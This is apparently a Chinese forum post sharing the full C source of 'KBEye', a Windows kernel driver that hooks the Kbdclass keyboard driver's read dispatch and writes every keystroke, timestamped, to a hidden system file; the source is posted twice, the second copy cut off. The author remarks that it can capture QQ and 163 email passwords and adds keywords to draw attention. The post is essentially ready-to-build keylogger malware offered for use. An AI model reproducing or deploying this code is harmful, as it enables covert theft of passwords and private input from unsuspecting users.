KBEye——小菜作品,没什么技术含量!
/********************************************************************
created: 2010/03/17 23:10
filename: KBEye.h
file base: KBEye
file ext: h
author: ejoyc
purpose: declare and define something
*********************************************************************/
#pragma once
#include <ntddk.h>
#include <strsafe.h>
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath);
VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject);
BOOLEAN HookFunc(BOOLEAN bIsHook);
NTSTATUS NTAPI ObReferenceObjectByName(PUNICODE_STRING ObjectName,
ULONG Attributes,
PACCESS_STATE Passed,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE Access,
PVOID ParseContext,
PVOID* ObjectPtr );
typedef NTSTATUS (*PDRVOBJDISPATCHFUNC)(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context );
VOID ThreadFunc(PVOID lpContext);
NTSTATUS InitThread();
typedef struct _KEYBOARD_INPUT_DATA
{
USHORT UnitId;//设备编号
USHORT MakeCode;//扫描码
USHORT Flags;//标记按键
USHORT Reserved;//保留
ULONG ExtraInformation;//扩展信息
}KEYBOARD_INPUT_DATA,*PKEYBOARD_INPUT_DATA;
UCHAR AsciiTbl[]=
{
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};
//----------------------------------华丽的分割线----------------------------------//
/********************************************************************
created: 2010/03/17 23:10
filename: KBEye.c
file base: KBEye
file ext: c
author: ejoyc
purpose: implement something
*********************************************************************/
#include "KBEye.h"
extern POBJECT_TYPE IoDriverObjectType;
PDRIVER_OBJECT KbdDriverObject=NULL;
PDRVOBJDISPATCHFUNC OldKbdDrvObjDispatchFunc=NULL;
BOOLEAN IsEnding=FALSE;
PIRP PendingIrp = NULL;
ULONG ulPendingIrps= 0;
PETHREAD ThreadObject;
KEVENT hEvent;
UCHAR Buffer[32];
KSPIN_LOCK SpinLock;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
KdPrint(("[KBEye]loading...\r\n"));
DriverObject->DriverUnload=KBEyeUnload;
KeInitializeEvent(&hEvent,SynchronizationEvent,FALSE);
MmLockPagableDataSection(&hEvent);
KeInitializeSpinLock(&SpinLock);
InitThread();
if (HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}
VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
PRKTHREAD CurrentThread=KeGetCurrentThread();
LARGE_INTEGER interval=RtlConvertUlongToLargeInteger(250*1000*(-10));
HookFunc(FALSE);
IsEnding=TRUE;
KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);
if (ulPendingIrps!=0 && (PendingIrp->CancelRoutine==NULL || FALSE==IoCancelIrp(PendingIrp)))
{
while (ulPendingIrps>0)
{
KeDelayExecutionThread(KernelMode,FALSE,&interval);
}
}
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeWaitForSingleObject(ThreadObject, Executive, KernelMode, FALSE, NULL);
MmUnlockPagableImageSection(&hEvent);
KdPrint(("[KBEye]unloading...\r\n"));
}
BOOLEAN HookFunc(BOOLEAN bIsHook)
{
BOOLEAN bRet=FALSE;
UNICODE_STRING usKbdclassName;
NTSTATUS NtStatus;
KdPrint(("[KBEye]%-8s...\r\n",bIsHook?"Hook":"Unhook"));
RtlInitUnicodeString(&usKbdclassName,L"\\Driver\\Kbdclass");
if (bIsHook && OldKbdDrvObjDispatchFunc==NULL && KbdDriverObject==NULL)
{
NtStatus=ObReferenceObjectByName( &usKbdclassName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject);
if (NT_SUCCESS(NtStatus))
{
OldKbdDrvObjDispatchFunc=KbdDriverObject->MajorFunction[IRP_MJ_READ];
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],KBEyeReadFunc);
ObDereferenceObject(KbdDriverObject);
bRet=TRUE;
}
}
else if (!bIsHook && KbdDriverObject!=NULL && OldKbdDrvObjDispatchFunc!=NULL)
{
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldKbdDrvObjDispatchFunc);
bRet=TRUE;
KbdDriverObject=NULL;
OldKbdDrvObjDispatchFunc=NULL;
}
else
{
KdPrint(("[KBEye]unsuccessful...\r\n"));
}
return bRet;
}
NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION IoStack=IoGetCurrentIrpStackLocation(Irp);
IoStack->CompletionRoutine=KBEyeReadCompletion;
IoStack->Context=IoStack->CompletionRoutine;
IoStack->Control|=SL_INVOKE_ON_SUCCESS;
InterlockedIncrement(&ulPendingIrps);
PendingIrp = (ulPendingIrps>0?Irp:NULL);
return OldKbdDrvObjDispatchFunc(DeviceObject,Irp) ;
}
NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context )
{
NTSTATUS NtStatus=STATUS_SUCCESS;
PKEYBOARD_INPUT_DATA pKeyData=NULL;
ULONG ulNums,ulIndex;
KIRQL Irql;
if (NT_SUCCESS(Irp->IoStatus.Status))
{
pKeyData=Irp->AssociatedIrp.SystemBuffer;
ulNums=Irp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
__try
{
for (ulIndex=0;ulIndex<ulNums;ulIndex++)
{
KeAcquireSpinLock(&SpinLock,&Irql);
RtlZeroMemory(Buffer,32);
switch(pKeyData->MakeCode)
{
case 0x01:
StringCchPrintfA(Buffer,32,"(%s)Esc\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Esc\r\n"));
break;
case 0x0E:
StringCchPrintfA(Buffer,32,"(%s)Backspace\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Backspace\r\n"));
break;
case 0x52:
StringCchPrintfA(Buffer,32,"(%s)Insert\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Insert\r\n"));
break;
case 0x5B:
StringCchPrintfA(Buffer,32,"(%s)Windows\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Windows\r\n"));
break;
case 0x0F:
StringCchPrintfA(Buffer,32,"(%s)Tab\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Tab\r\n"));
break;
case 0x1c:
StringCchPrintfA(Buffer,32,"(%s)Enter\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Enter\r\n"));
break;
case 0x3A:
StringCchPrintfA(Buffer,32,"(%s)CAPS LOCK\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]CAPS LOCK\r\n"));
break;
case 0x38:
StringCchPrintfA(Buffer,32,"(%s)Alt\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Alt\r\n"));
break;
case 0x2A:
StringCchPrintfA(Buffer,32,"(%s)Shift\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Shift\r\n"));
break;
case 0x1D:
StringCchPrintfA(Buffer,32,"(%s)Control\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Control\r\n"));
break;
case 0x53:
StringCchPrintfA(Buffer,32,"(%s)Delete\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Delete\r\n"));
break;
case 0x4B:
StringCchPrintfA(Buffer,32,"(%s)←\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]←\r\n"));
break;
case 0x4D:
StringCchPrintfA(Buffer,32,"(%s)→\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]→\r\n"));
break;
case 0x48:
StringCchPrintfA(Buffer,32,"(%s)↑\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↑\r\n"));
break;
case 0x50:
StringCchPrintfA(Buffer,32,"(%s)↓\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↓\r\n"));
break;
case 0x5D:
StringCchPrintfA(Buffer,32,"(%s)Menu\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Menu\r\n"));
break;
case 0x37:
StringCchPrintfA(Buffer,32,"(%s)PrintScreen\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]PrintScreen\r\n"));
break;
default:
if (AsciiTbl[pKeyData->MakeCode]>='0' && AsciiTbl[pKeyData->MakeCode]<='z')
{
StringCchPrintfA(Buffer,32,"(%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]);
KdPrint(("[KBEye](%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]));
}
else
{
StringCchPrintfA(Buffer,32,"(%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode);
KdPrint(("[KBEye](%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode));
}
}
pKeyData++;
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeReleaseSpinLock(&SpinLock,Irql);
}
InterlockedDecrement(&ulPendingIrps);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[KBEye]KBEyeReadCompletion Error!\r\n"));
}
}
if (Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}
if (Context!=NULL)
{
return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject,Irp,NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
NTSTATUS InitThread()
{
NTSTATUS NtStatus;
HANDLE ThreadHandle;
NtStatus = PsCreateSystemThread(&ThreadHandle,
0,
0,
0,
0,
ThreadFunc,
0);
ObReferenceObjectByHandle(ThreadHandle, THREAD_ALL_ACCESS, NULL, KernelMode,(PVOID*)&ThreadObject, NULL);
ZwClose(ThreadHandle);
return NtStatus;
}
VOID ThreadFunc(PVOID lpContext)
{
UNICODE_STRING usFileName;
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE hFile;
IO_STATUS_BLOCK IoStatus;
FILE_STANDARD_INFORMATION FileInformation;
LARGE_INTEGER CurrentSystemTime;
LARGE_INTEGER CurrentLocalTime;
TIME_FIELDS TimeFields;
ULONG ulIndex;
UCHAR szInfoBuffer[64];
KIRQL Irql;
RtlInitUnicodeString(&usFileName, L"\\??\\C:\\KbEye.txt");
InitializeObjectAttributes(&ObjectAttributes,
&usFileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
ZwCreateFile(&hFile,
GENERIC_ALL,
&ObjectAttributes,
&IoStatus,
NULL,
FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN ,
0,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
0,
0);
while(IsEnding==FALSE)
{
if (KeWaitForSingleObject(&hEvent, Executive, KernelMode, FALSE, NULL)==STATUS_SUCCESS)
{
KeQuerySystemTime(&CurrentSystemTime);
ExSystemTimeToLocalTime(&CurrentSystemTime,&CurrentLocalTime);
RtlTimeToTimeFields(&CurrentLocalTime,&TimeFields);
KeAcquireSpinLock(&SpinLock,&Irql);
ZwQueryInformationFile( hFile,
&IoStatus,
&FileInformation,
sizeof(FileInformation),
FileStandardInformation);
if(Buffer[31]!='\0')
{
Buffer[31]='\0';
}
RtlZeroMemory(szInfoBuffer,64);
StringCchPrintfA(szInfoBuffer,64,"[%04d-%02d-%02d,%02d:%02d:%02d]",TimeFields.Year,TimeFields.Month,TimeFields.Day,TimeFields.Hour,TimeFields.Minute,TimeFields.Second);
StringCchCatA(szInfoBuffer,64,Buffer);
for(ulIndex=0;ulIndex<64;ulIndex++)
{
if(szInfoBuffer[ulIndex]=='\0')
{
break;
}
}
ZwWriteFile(hFile,
0,
0,
0,
&IoStatus,
szInfoBuffer,
ulIndex,
&FileInformation.EndOfFile,
0);
KeReleaseSpinLock(&SpinLock,Irql);
}
}
ZwClose(hFile);
}
//----------------------------------华丽的分割线 ----------------------------------//
本以为这个程序应该会有人关注,尽管其比较丑陋,但是好歹也可以记录QQ,163邮箱等什么的密码。至少比Ring3下的键盘钩子强——可惜没有多少人看。那我就加几个关键字:
keyword: Kbdclass,IRP-Hook,KBsniffer
/********************************************************************
created: 2010/03/17 23:10
filename: KBEye.h
file base: KBEye
file ext: h
author: ejoyc
purpose: declare and define something
*********************************************************************/
#pragma once
#include <ntddk.h>
#include <strsafe.h>
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath);
VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject);
BOOLEAN HookFunc(BOOLEAN bIsHook);
NTSTATUS NTAPI ObReferenceObjectByName(PUNICODE_STRING ObjectName,
ULONG Attributes,
PACCESS_STATE Passed,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE Access,
PVOID ParseContext,
PVOID* ObjectPtr );
typedef NTSTATUS (*PDRVOBJDISPATCHFUNC)(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context );
VOID ThreadFunc(PVOID lpContext);
NTSTATUS InitThread();
typedef struct _KEYBOARD_INPUT_DATA
{
USHORT UnitId;//设备编号
USHORT MakeCode;//扫描码
USHORT Flags;//标记按键
USHORT Reserved;//保留
ULONG ExtraInformation;//扩展信息
}KEYBOARD_INPUT_DATA,*PKEYBOARD_INPUT_DATA;
UCHAR AsciiTbl[]=
{
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E,
0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
0x32, 0x33, 0x30, 0x2E
};
//----------------------------------华丽的分割线----------------------------------//
/********************************************************************
created: 2010/03/17 23:10
filename: KBEye.c
file base: KBEye
file ext: c
author: ejoyc
purpose: implement something
*********************************************************************/
#include "KBEye.h"
extern POBJECT_TYPE IoDriverObjectType;
PDRIVER_OBJECT KbdDriverObject=NULL;
PDRVOBJDISPATCHFUNC OldKbdDrvObjDispatchFunc=NULL;
BOOLEAN IsEnding=FALSE;
PIRP PendingIrp = NULL;
ULONG ulPendingIrps= 0;
PETHREAD ThreadObject;
KEVENT hEvent;
UCHAR Buffer[32];
KSPIN_LOCK SpinLock;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
NTSTATUS NtStatus=STATUS_UNSUCCESSFUL;
KdPrint(("[KBEye]loading...\r\n"));
DriverObject->DriverUnload=KBEyeUnload;
KeInitializeEvent(&hEvent,SynchronizationEvent,FALSE);
MmLockPagableDataSection(&hEvent);
KeInitializeSpinLock(&SpinLock);
InitThread();
if (HookFunc(TRUE))
{
NtStatus=STATUS_SUCCESS;
}
return NtStatus;
}
VOID KBEyeUnload(IN PDRIVER_OBJECT DriverObject)
{
PRKTHREAD CurrentThread=KeGetCurrentThread();
LARGE_INTEGER interval=RtlConvertUlongToLargeInteger(250*1000*(-10));
HookFunc(FALSE);
IsEnding=TRUE;
KeSetPriorityThread(CurrentThread,LOW_REALTIME_PRIORITY);
if (ulPendingIrps!=0 && (PendingIrp->CancelRoutine==NULL || FALSE==IoCancelIrp(PendingIrp)))
{
while (ulPendingIrps>0)
{
KeDelayExecutionThread(KernelMode,FALSE,&interval);
}
}
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeWaitForSingleObject(ThreadObject, Executive, KernelMode, FALSE, NULL);
MmUnlockPagableImageSection(&hEvent);
KdPrint(("[KBEye]unloading...\r\n"));
}
BOOLEAN HookFunc(BOOLEAN bIsHook)
{
BOOLEAN bRet=FALSE;
UNICODE_STRING usKbdclassName;
NTSTATUS NtStatus;
KdPrint(("[KBEye]%-8s...\r\n",bIsHook?"Hook":"Unhook"));
RtlInitUnicodeString(&usKbdclassName,L"\\Driver\\Kbdclass");
if (bIsHook && OldKbdDrvObjDispatchFunc==NULL && KbdDriverObject==NULL)
{
NtStatus=ObReferenceObjectByName( &usKbdclassName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
IoDriverObjectType,
KernelMode,
NULL,
&KbdDriverObject);
if (NT_SUCCESS(NtStatus))
{
OldKbdDrvObjDispatchFunc=KbdDriverObject->MajorFunction[IRP_MJ_READ];
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],KBEyeReadFunc);
ObDereferenceObject(KbdDriverObject);
bRet=TRUE;
}
}
else if (!bIsHook && KbdDriverObject!=NULL && OldKbdDrvObjDispatchFunc!=NULL)
{
InterlockedExchangePointer(&KbdDriverObject->MajorFunction[IRP_MJ_READ],OldKbdDrvObjDispatchFunc);
bRet=TRUE;
KbdDriverObject=NULL;
OldKbdDrvObjDispatchFunc=NULL;
}
else
{
KdPrint(("[KBEye]unsuccessful...\r\n"));
}
return bRet;
}
NTSTATUS KBEyeReadFunc(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
PIO_STACK_LOCATION IoStack=IoGetCurrentIrpStackLocation(Irp);
IoStack->CompletionRoutine=KBEyeReadCompletion;
IoStack->Context=IoStack->CompletionRoutine;
IoStack->Control|=SL_INVOKE_ON_SUCCESS;
InterlockedIncrement(&ulPendingIrps);
PendingIrp = (ulPendingIrps>0?Irp:NULL);
return OldKbdDrvObjDispatchFunc(DeviceObject,Irp) ;
}
NTSTATUS KBEyeReadCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context )
{
NTSTATUS NtStatus=STATUS_SUCCESS;
PKEYBOARD_INPUT_DATA pKeyData=NULL;
ULONG ulNums,ulIndex;
KIRQL Irql;
if (NT_SUCCESS(Irp->IoStatus.Status))
{
pKeyData=Irp->AssociatedIrp.SystemBuffer;
ulNums=Irp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
__try
{
for (ulIndex=0;ulIndex<ulNums;ulIndex++)
{
KeAcquireSpinLock(&SpinLock,&Irql);
RtlZeroMemory(Buffer,32);
switch(pKeyData->MakeCode)
{
case 0x01:
StringCchPrintfA(Buffer,32,"(%s)Esc\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Esc\r\n"));
break;
case 0x0E:
StringCchPrintfA(Buffer,32,"(%s)Backspace\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Backspace\r\n"));
break;
case 0x52:
StringCchPrintfA(Buffer,32,"(%s)Insert\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Insert\r\n"));
break;
case 0x5B:
StringCchPrintfA(Buffer,32,"(%s)Windows\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Windows\r\n"));
break;
case 0x0F:
StringCchPrintfA(Buffer,32,"(%s)Tab\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Tab\r\n"));
break;
case 0x1c:
StringCchPrintfA(Buffer,32,"(%s)Enter\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Enter\r\n"));
break;
case 0x3A:
StringCchPrintfA(Buffer,32,"(%s)CAPS LOCK\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]CAPS LOCK\r\n"));
break;
case 0x38:
StringCchPrintfA(Buffer,32,"(%s)Alt\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Alt\r\n"));
break;
case 0x2A:
StringCchPrintfA(Buffer,32,"(%s)Shift\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Shift\r\n"));
break;
case 0x1D:
StringCchPrintfA(Buffer,32,"(%s)Control\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Control\r\n"));
break;
case 0x53:
StringCchPrintfA(Buffer,32,"(%s)Delete\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Delete\r\n"));
break;
case 0x4B:
StringCchPrintfA(Buffer,32,"(%s)←\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]←\r\n"));
break;
case 0x4D:
StringCchPrintfA(Buffer,32,"(%s)→\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]→\r\n"));
break;
case 0x48:
StringCchPrintfA(Buffer,32,"(%s)↑\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↑\r\n"));
break;
case 0x50:
StringCchPrintfA(Buffer,32,"(%s)↓\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]↓\r\n"));
break;
case 0x5D:
StringCchPrintfA(Buffer,32,"(%s)Menu\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]Menu\r\n"));
break;
case 0x37:
StringCchPrintfA(Buffer,32,"(%s)PrintScreen\r\n",pKeyData->Flags==1?"↑":"↓");
KdPrint(("[KBEye]PrintScreen\r\n"));
break;
default:
if (AsciiTbl[pKeyData->MakeCode]>='0' && AsciiTbl[pKeyData->MakeCode]<='z')
{
StringCchPrintfA(Buffer,32,"(%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]);
KdPrint(("[KBEye](%s)%c\r\n",pKeyData->Flags==1?"↑":"↓",AsciiTbl[pKeyData->MakeCode]));
}
else
{
StringCchPrintfA(Buffer,32,"(%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode);
KdPrint(("[KBEye](%s)unknown[0x%02X]\r\n",pKeyData->Flags==1?"↑":"↓",pKeyData->MakeCode));
}
}
pKeyData++;
KeSetEvent(&hEvent,IO_NO_INCREMENT, FALSE);
KeReleaseSpinLock(&SpinLock,Irql);
}
InterlockedDecrement(&ulPendingIrps);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
KdPrint(("[KBEye]KBEyeReadCompletion Error!\r\n"));
}
}
if (Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}
if (Context!=NULL)
{
return ((PIO_COMPLETION_ROUTINE)Context)(DeviceObject,Irp,NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
NTSTATUS InitThread()
{
NTSTATUS NtStatus;
HANDLE ThreadHandle;
NtStatus = PsCreateSystemThread(&ThreadHandle,
0,
0,
0,
0,
ThreadFunc,
0);
